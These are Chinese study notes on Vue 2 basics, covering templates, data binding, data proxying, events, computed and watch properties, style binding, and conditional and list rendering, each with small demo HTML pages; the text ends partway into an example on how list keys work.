Vue框架学习笔记(温故而知新)

Vue2

Vue

Vue简介

官网
介绍和描述
  • Vue是一套用来动态构建用户界面渐进式JavaScript框架
    • 作者:尤雨溪
    • 构建用户界面:把数据通过某种办法变成用户界面
    • 渐进式:Vue可以自底向上逐层的应用,简单应用只需要一个轻量小巧的核心库,复杂应用可以引入各式各样的Vue插件
Vue的特点
  1. 遵循 MVVM模式
  2. 编码简洁,体积小,运行效率高,适合移动/PC端开发
  3. 它本身只关注UI,可以引入其它第三方库开发项目
  4. 采用组件化模式,提高代码复用率、且让代码更好维护
  5. 声明式编码,让编码人员无需直接操作 DOM,提高开发效率
  6. 使用虚拟DOM** **和 Diff算法,尽量复用 DOM 节点
Vue周边库
  • vue-cli: vue 脚手架
  • vue-resource(axios): ajax 请求
  • vue-router: 路由
  • vuex: 状态管理 (它是 vue 的插件但是没有用 vue-xxx 的命名规则)
  • vue-lazyload: 图片懒加载
  • vue-scroller: 页面滑动相关
  • mint-ui: 基于 vue 的 UI 组件库 (移动端)
  • element-ui: 基于 vue 的 UI 组件库 (PC 端)

初识Vue

前置工作

  1. 给浏览器安装 Vue Devtools 插件
  2. 标签引入Vue
    1. 开发版本:vue.js
    2. 生产版本:vue.min.js
  3. (可选) 阻止vue在启动时生成生产提示Vue.config.productionTip = false
  4. favicon 需要将页签图标放在项目根路径,重新打开就有了 (shfit+F5 强制刷新)

初识Vue

  1. 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
  2. root 容器里的代码依然符合html规范 ,只不过混入了一些特殊的Vue语法
  3. root 容器里的代码被称为Vue模板
  4. Vue 实例与容器是一一对应
  5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用
  6. {{xxx}} 中的 xxx 要** js表达式**,且xxx可以自动读取到data中的所有属性
  7. 一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>初识Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>Hello, {{name.toUpperCase()}}, {{address}}</h1>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    //创建Vue实例
    new Vue({
      el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
      data: { //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
        name: 'atguigu',
        address: '尚硅谷'
      }
    })
  </script>

</html>

模板语法

Vue模板语法包括两大类

  1. 插值语法

功能:用于解析标签体内容
写法: {{xxx}},xxx 是 js表达式,可以直接读取到 data 中的所有区域

  1. 指令语法

功能: 用于解析标签 (包括: 标签属性、标签体内容、绑定事件…)
举例: <a v-bind:href="xxx">或简写为 <a :href="xxx">

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>模板语法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body> 
    <div id="root">
      <h1>插值语法</h1>
      <h3>你好,{{name}}</h3>
      <hr />
      <h1>指令语法</h1>
      <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}</a>
      <a :href="school.url" x="hello">点我去{{school.name}}</a>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: 'jack',
        school: {
          name: '尚硅谷',
          url: 'http://www.atguigu.com',
        }
      }
    })
  </script>

</html>

数据绑定

Vue中有2种数据绑定的方式

  1. 单向绑定v-bind数据只能从 data 流向页面
  2. 双向绑定v-model数据不仅能从 data 流向页面,还可以从页面流向 data

备注:

  1. 双向绑定一般都应用在表单类元素上,如 <input>``<select>``<textarea>
  2. v-model:value可以简写为v-model ,因为v-model默认收集的就是value
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>数据绑定</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <!-- 普通写法 -->
      <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/> -->
      <!-- 双向数据绑定:<input type="text" v-model:value="name"><br/> -->

      <!-- 简写 -->
      单向数据绑定:<input type="text" :value="name"><br />
      双向数据绑定:<input type="text" v-model="name"><br />

      <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
      <!-- <h2 v-model:x="name">你好啊</h2> -->
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷'
      }
    })
  </script>

</html>

el与data的两种写法

el有2种写法:

  1. 创建Vue实例对象的时候配置el属性
  2. 先创建Vue实例,随后再通过指定el的值vm.$mount('#root')指定el的值

data有2种写法:

  1. 对象式:data: { }
  2. 函数式:data() ( return { } )

如何选择:目前哪种写法都可以,以后到组件时,data必须使用函数,否则会报错
一个重要的原则:
Vue管理的函数,一定不要写箭头函数,否则this就不再是Vue实例,而是window

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>el与data的两种写法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>你好,{{name}}</h1>
    </div>
  </body>

  <script type="text/javascript">
    //el的两种写法
    /* const v = new Vue({
        //el:'#root', //第一种写法
        data:{
            name:'尚硅谷'
        }
    })
    console.log(v)
    v.$mount('#root') //第二种写法 */

    //data的两种写法
    new Vue({
      el: '#root',
      //data的第一种写法:对象式
      /* data:{
            name:'尚硅谷'
        } */

      //data的第二种写法:函数式
      data() {
        console.log('@@@', this) //此处的this是Vue实例对象
        return {
          name: '尚硅谷'
        }
      }
    })
  </script>

</html>

MVVM模型


MVVM模型

  • M:模型 Model(data中的数据)
  • V:视图 View(模板代码)
  • VM:视图模型 ViewModel(Vue实例)

观察发现

  • data中所有的属性,最后都出现在了vm身上
  • vm身上所有的属性及Vue原型身上所有的属性,在Vue模板中都可以直接使用
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>理解MVVM</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>名字:{{name}}</h1>
      <h1>地址:{{address}}</h1>
      <!-- <h1>测试一下1:{{1+1}}</h1>
      <h1>测试一下2:{{$options}}</h1>
      <h1>测试一下3:{{$emit}}</h1>
      <h1>测试一下4:{{_c}}</h1> -->
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        address: '北京',
      }
    })
    console.log(vm)
  </script>

</html>

Vue中的数据代理

Object.defineProperty(obj, prop, descriptor)方法:

  • 直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象
  • obj:要定义属性的对象
  • prop:要定义或修改的属性的名称或Symbol
  • descriptor:要定义或修改的属性描述符
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>回顾Object.defineproperty方法</title>
  </head>

  <body>
    <script type="text/javascript">
      let number = 18
      let person = {
        name: '张三',
        sex: '男',
      }

      Object.defineProperty(person, 'age', {
        // value:18,
        // enumerable:true, //控制属性是否可以枚举,默认值是false
        // writable:true, //控制属性是否可以被修改,默认值是false
        // configurable:true //控制属性是否可以被删除,默认值是false

        //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get() {
          console.log('有人读取age属性了')
          return number
        },

        //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
        set(value) {
          console.log('有人修改了age属性,且值是', value)
          number = value
        }
      })
      console.log(person)
    </script>
  </body>

</html>

数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>何为数据代理</title>
  </head>

  <body>
    <script type="text/javascript">
      let obj1 = { x: 100 }
      let obj2 = { y: 200 }

      Object.defineProperty(obj2, 'x', {
        get() {
          return obj1.x
        },
        set(value) {
          obj1.x = value
        }
      })
    </script>
  </body>

</html>
  1. Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue中数据代理的好处:更加方便的操作data中的数据
  3. 基本原理:
    1. 通过Object.defineProperty()把data对象中所有属性添加到vm上
    2. 为每一个添加到vm上的属性,都指定一个getter/setter
    3. 在getter/setter内部去操作(读/写)data中对应的属性


流程:
创建 Vue实例对象,将 data 中的数据收集到 _data 属性中,Vue 将 _data 中的属性添加到 vm 中(例如name),又通过 defineProperty 的 getter/setter 来操作 name,进而操作 _data 中的 name。

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>Vue中的数据代理</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        address: '宏福科技园'
      }
    })
  </script>

</html>

事件处理

事件的基本用法
  1. 使用v-on:xxx@xxx绑定事件,其中xxx是事件名
  2. 事件的回调需要配置在methods对象中,最终会在vm上
  3. methods中配置的函数,不要用箭头函数!否则this就不是vm了
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
  5. @click="demo"@click="demo($event)"效果一致,但后者可以传参
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>事件的基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <!-- <button v-on:click="showInfo">点我提示信息</button> -->
      <button @click="showInfo1">点我提示信息1(不传参)</button>
      <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
      },
      methods: {
        showInfo1(event) {
          // console.log(event.target.innerText)
          // console.log(this) //此处的this是vm
          alert('同学你好!')
        },
        showInfo2(event, number) {
          console.log(event, number)
          // console.log(event.target.innerText)
          // console.log(this) //此处的this是vm
          alert('同学你好!!')
        }
      }
    })
  </script>

</html>

事件修饰符

Vue中的事件修饰符:

  1. prevent:阻止默认事件(常用)
  2. stop:阻止事件冒泡(常用)
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式
  5. self:只有event.target是当前操作的元素时才触发事件
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕

注意:修饰符可以连续写,例如@click.prevent.stop="showInfo"

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>事件修饰符</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      * {
        margin-top: 20px;
      }
      .demo1 {
        height: 50px;
        background-color: skyblue;
      }
      .box1 {
        padding: 5px;
        background-color: skyblue;
      }
      .box2 {
        padding: 5px;
        background-color: orange;
      }
      .list {
        width: 200px;
        height: 200px;
        background-color: peru;
        overflow: auto;
      }
      li {
        height: 100px;
      }
    </style>
  </head>

  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <!-- 阻止默认事件(常用) -->
      <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

      <!-- 阻止事件冒泡(常用) -->
      <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a>
      </div>

      <!-- 事件只触发一次(常用) -->
      <button @click.once="showInfo">点我提示信息</button>

      <!-- 使用事件的捕获模式 -->
      <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">
          div2
        </div>
      </div>

      <!-- 只有event.target是当前操作的元素时才触发事件 -->
      <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
      </div>

      <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
      <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷'
      },
      methods: {
        showInfo(e) {
          alert('同学你好!')
          // e.preventDefault() 阻止默认事件
          // e.stopPropagation() 阻止事件冒泡
          // console.log(e.target) 输出事件对象
        },
        showMsg(msg) {
          console.log(msg)
        },
        demo() {
          for (let i = 0; i < 100000; i++) {
            console.log('#')
          }
          console.log('累坏了')
        }
      }
    })
  </script>

</html>

键盘事件
  1. Vue中常用的按键别名:

回车:enter
删除:delete (捕获“删除”和“退格”键)
退出 :esc
空格 :space
换行:tab (特殊,必须配合keydown去使用)
上:up
下 :down
左 :left
右 :right

  1. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
  2. 系统修饰键(用法特殊):ctrlaltshiftmeta
    1. 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

注意:指令ctrl+y的语法为@keyup.ctrl.y

  1. 配合keydown使用:正常触发事件
  2. 也可以使用keyCode去指定具体的按键(不推荐)
  3. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>键盘事件</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷'
      },
      methods: {
        showInfo(e) {
          // console.log(e.key,e.keyCode)
          console.log(e.target.value)
        }
      },
    })
  </script>

</html>

计算属性

  1. 插值语法实现
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_插值语法实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      姓:<input type="text" v-model="firstName"> <br /><br />
      名:<input type="text" v-model="lastName"> <br /><br />
      全名:<span>{{firstName}}-{{lastName}}</span>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        firstName: '张',
        lastName: '三'
      }
    })
  </script>

</html>
  1. method实现

注意:数据发生变化,模板就会被重新解析,方法也就被重新调用

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_methods实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      姓:<input type="text" v-model="firstName"> <br /><br />
      名:<input type="text" v-model="lastName"> <br /><br />
      全名:<span>{{fullName()}}</span>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        firstName: '张',
        lastName: '三'
      },
      methods: {
        fullName() {
          console.log('@---fullName')
          return this.firstName + '-' + this.lastName
        }
      },
    })
  </script>

</html>
  1. 计算属性computed实现
    1. 定义:要用的属性不存在,要通过已有属性计算得来
    2. 原理:底层借助了Objcet.defineproperty方法提供的getter和setter
    3. get函数什么时候执行?
      1. 初次读取时会执行一次
      2. 当依赖的数据发生改变时会被再次调用
    4. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
    5. 备注:
      1. 计算属性最终会出现在vm上,直接读取使用即可
      2. 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
      3. 如果计算属性确定不考虑修改,可以使用计算属性的简写形式,将计算属性写成函数形式
      4. 计算属性的get和set中调用属性前面记得要加this,否则得不到属性
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_计算属性实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      姓:<input type="text" v-model="firstName"> <br /><br />
      名:<input type="text" v-model="lastName"> <br /><br />
      测试:<input type="text" v-model="x"> <br /><br />
      全名:<span>{{fullName}}</span> <br /><br />
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        firstName: '张',
        lastName: '三',
        x: '你好'
      },
      methods: {
        demo() {
        }
      },
      computed: {
        //完整写法
        fullName: {
          //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
          //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
          get() {
            console.log('get被调用了')
            // console.log(this) //此处的this是vm
            return this.firstName + '-' + this.lastName
          },
          //set什么时候调用? 当fullName被修改时。
          set(value) {
            console.log('set', value)
            const arr = value.split('-')
            this.firstName = arr[0]
            this.lastName = arr[1]
          }
        }
          
          //简写
          fullName(){
          console.log('get被调用了')
          return this.firstName + '-' + this.lastName
    }
    }
    })
  </script>

</html>

监视属性

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>天气案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
      <!-- <button @click="isHot = !isHot">切换天气</button> -->
      <button @click="changeWeather">切换天气</button>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        isHot: true,
      },
      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
    })
  </script>

</html>

监视属性基本用法

监视属性watch

  1. 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
  2. 监视的属性必须存在,才能进行监视,data属性和计算属性都可监视
  3. 监视的两种写法:
    1. new Vue时传入watch: { }进行配置
    2. 通过vm.$watch('监视对象', {配置对象})进行监视
  4. vm.$watch里的配置属性immediate: true,会使得初始化时调用handler(newValue, oldValue)
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>天气案例_监视属性</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <button @click="changeWeather">切换天气</button>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        isHot: true,
      },
      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      /* watch:{
            isHot:{
                immediate:true, //初始化时让handler调用一下
                //handler什么时候调用?当isHot发生改变时。
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }
        } */
    })

    vm.$watch('isHot', {
      immediate: true, //初始化时让handler调用一下
      //handler什么时候调用?当isHot发生改变时。
      handler(newValue, oldValue) {
        console.log('isHot被修改了', newValue, oldValue)
      }
    })
  </script>

</html>

深度监视

深度监视:

  1. Vue中的watch默认不监测对象内部值的改变(一层)
  2. watch中配置deep:true可以监测对象内部值改变(多层)

注意:

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
  2. 使用watch时根据数据的具体结构,决定是否采用深度监视
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>天气案例_深度监视</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <button @click="changeWeather">切换天气</button>
      <hr />
      <h3>a的值是:{{numbers.a}}</h3>
      <button @click="numbers.a++">点我让a+1</button>
      <h3>b的值是:{{numbers.b}}</h3>
      <button @click="numbers.b++">点我让b+1</button>
      <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
      {{numbers.c.d.e}}
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        isHot: true,
        numbers: {
          a: 1,
          b: 1,
          c: {
            d: {
              e: 100
            }
          }
        }
      },
      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      watch: {
        isHot: {
          // immediate:true, //初始化时让handler调用一下
          //handler什么时候调用?当isHot发生改变时。
          handler(newValue, oldValue) {
            console.log('isHot被修改了', newValue, oldValue)
          }
        },
        //监视多级结构中某个属性的变化
        /* 'numbers.a':{
                handler(){
                    console.log('a被改变了')
                }
            } */
        //监视多级结构中所有属性的变化
        numbers: {
          deep: true,
          handler() {
            console.log('numbers改变了')
          }
        }
      }
    })
  </script>

</html>

监听属性简写

如果监视属性除了handler没有其他配置项的话,可以进行简写

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>天气案例_监视属性_简写</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <button @click="changeWeather">切换天气</button>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        isHot: true,
      },
      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      watch: {
        //正常写法
        /* isHot:{
                // immediate:true, //初始化时让handler调用一下
                // deep:true,//深度监视
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }, */
        //简写
        isHot(newValue,oldValue){
          console.log('isHot被修改了',newValue,oldValue)
        } 
      }
    })


    //正常写法
    /* vm.$watch('isHot',{
        immediate:true, //初始化时让handler调用一下
        deep:true,//深度监视
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    }) */
    //简写
    vm.$watch('isHot',function(newValue,oldValue){
      console.log('isHot被修改了',newValue,oldValue)
    })
  </script>

</html>

计算属性VS监视属性

computedwatch之间的区别:

  • computed能完成的功能,watch都可以完成
  • watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

两个重要的小原则:

  • 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是 vm 或 组件实例对象
  • 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、Promise的回调函数等),最好写成箭头函数,这样this的指向才是 vm 或 组件实例对象
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_watch实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      姓:<input type="text" v-model="firstName"> <br /><br />
      名:<input type="text" v-model="lastName"> <br /><br />
      全名:<span>{{fullName}}</span> <br /><br />
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        firstName: '张',
        lastName: '三',
        fullName: '张-三' //watch实现必须有初始的fullName
      },
      //watch实现 定时器要使用箭头函数this才会指向vm
      watch: {
        firstName(val) {
          setTimeout(() => {
            console.log(this)
            this.fullName = val + '-' + this.lastName
          }, 1000);
        },
        lastName(val) {
          this.fullName = this.firstName + '-' + val
        }
      }
    }),
    //计算属性实现
    /*computed:{
      fullName(){
        return this.firstName + '-' +this.lastName
      }
    }*/
  </script>

</html>

绑定样式

  1. class样式
    • 写法::class="xxx" xxx可以是字符串、对象、数组
    • 字符串写法适用于:类名不确定,要动态获取
    • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
    • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
  2. style样式
    • 写法::style="xxx" xxx可以是对象、数组
    • 对象写法::style="{fontSize: xxx}" xxx是动态值
    • 数组写法::style="[a,b]" a、b是样式对象
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>绑定样式</title>
    <style>
      .basic {
        width: 400px;
        height: 100px;
        border: 1px solid black;
      }
      .happy {
        border: 4px solid red;
        ;
        background-color: rgba(255, 255, 0, 0.644);
        background: linear-gradient(30deg, yellow, pink, orange, yellow);
      }
      .sad {
        border: 4px dashed rgb(2, 197, 2);
        background-color: gray;
      }
      .normal {
        background-color: skyblue;
      }
      .atguigu1 {
        background-color: yellowgreen;
      }
      .atguigu2 {
        font-size: 30px;
        text-shadow: 2px 2px 10px red;
      }
      .atguigu3 {
        border-radius: 20px;
      }
    </style>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
      <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />

      <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
      <div class="basic" :class="classArr">{{name}}</div> <br /><br />

      <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,需要动态决定 -->
      <div class="basic" :class="classObj">{{name}}</div> <br /><br />

      <!-- 绑定style样式--对象写法 -->
      <div class="basic" :style="styleObj">{{name}}</div> <br /><br />
      <!-- 绑定style样式--数组写法 -->
      <div class="basic" :style="styleArr">{{name}}</div>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        mood: 'normal',
        classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
        classObj: {
          atguigu1: false,
          atguigu2: false,
        },
        styleObj: {
          fontSize: '40px',
          color: 'red',
        },
        styleObj2: {
          backgroundColor: 'orange'
        },
        styleArr: [
          {
            fontSize: '40px',
            color: 'blue',
          },
          {
            backgroundColor: 'gray'
          }
        ]
      },
      methods: {
        changeMood() {
          const arr = ['happy', 'sad', 'normal']
          const index = Math.floor(Math.random() * 3)
          this.mood = arr[index]
        }
      },
    })
  </script>

</html>

条件渲染

v-if

  • 写法:
    • v-if="表达式"
    • v-else-if="表达式"
    • v-else="表达式"
  • 适用于:切换频率较低的场景
  • 特点:不展示的DOM元素直接被移除
  • 注意:v-if 可以和 v-else-if、v-else一起使用,但要求结构不能被打断

v-show

  • 写法:v-show="表达式"
  • 适用于:切换频率较高的场景
  • 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
  • 注意:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到

小技巧:template标签不会影响结构,html页面中不会有这个标签,只能配合 v-if 不能配合 v-show

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>条件渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
      <!-- 使用v-show做条件渲染 -->
      <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- 使用v-if做条件渲染 -->
      <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- v-else和v-else-if -->
      <!-- <div v-if="n === 1">Angular</div>
      <div v-else-if="n === 2">React</div>
      <div v-else-if="n === 3">Vue</div>
      <div v-else>哈哈</div> -->

      <!-- v-if与template的配合使用 -->
      <template v-if="n === 1">
        <h2>你好</h2>
        <h2>尚硅谷</h2>
        <h2>北京</h2>
      </template>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        n: 0
      }
    })
  </script>

</html>

列表渲染

基本列表

v-for

  • 用于展示列表数据
  • 语法:v-for="(item, index) in xxx" :key="yyy" key是唯一标识,in 也可以改为 of
  • 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>基本列表</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <!-- 遍历数组 -->
      <h2>人员列表(遍历数组)</h2>
      <ul>
        <li v-for="(p,index) of persons" :key="index">
          {{p.name}}-{{p.age}}
        </li>
      </ul>

      <!-- 遍历对象 -->
      <h2>汽车信息(遍历对象)</h2>
      <ul>
        <li v-for="(value,k) of car" :key="k">
          {{k}}-{{value}}
        </li>
      </ul>

      <!-- 遍历字符串 -->
      <h2>测试遍历字符串(用得少)</h2>
      <ul>
        <li v-for="(char,index) of str" :key="index">
          {{char}}-{{index}}
        </li>
      </ul>

      <!-- 遍历指定次数 -->
      <h2>测试遍历指定次数(用得少)</h2>
      <ul>
        <li v-for="(number,index) of 5" :key="index">
          {{index}}-{{number}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      new Vue({
        el: '#root',
        data: {
          persons: [
            { id: '001', name: '张三', age: 18 },
            { id: '002', name: '李四', age: 19 },
            { id: '003', name: '王五', age: 20 }
          ],
          car: {
            name: '奥迪A8',
            price: '70万',
            color: '黑色'
          },
          str: 'hello'
        }
      })
    </script>

</html>

key的原理



** 面试题**:react、vue中的key有什么作用?(key的内部原理)

  1. 虚拟DOM中key的作用: key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM, 随后Vue进行新虚拟DOM旧虚拟DOM的差异比较,比较规则如下。
  2. 对比规则:
    1. 旧虚拟DOM中找到了与新虚拟DOM相同的key:
      • 若虚拟DOM中内容没变, 直接使用之前的真实DOM
      • 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
    2. 旧虚拟DOM中未找到与新虚拟DOM相同的key:
      • 创建新的真实DOM,随后渲染到到页面
  3. 用index作为key可能会引发的问题:
    1. 若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新,界面效果没问题, 但效率低。
    2. 如果结构中还包含输入类的DOM,会产生错误DOM更新,界面出现问题。
  4. 开发中如何选择key?
    1. 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>key的原理</title>
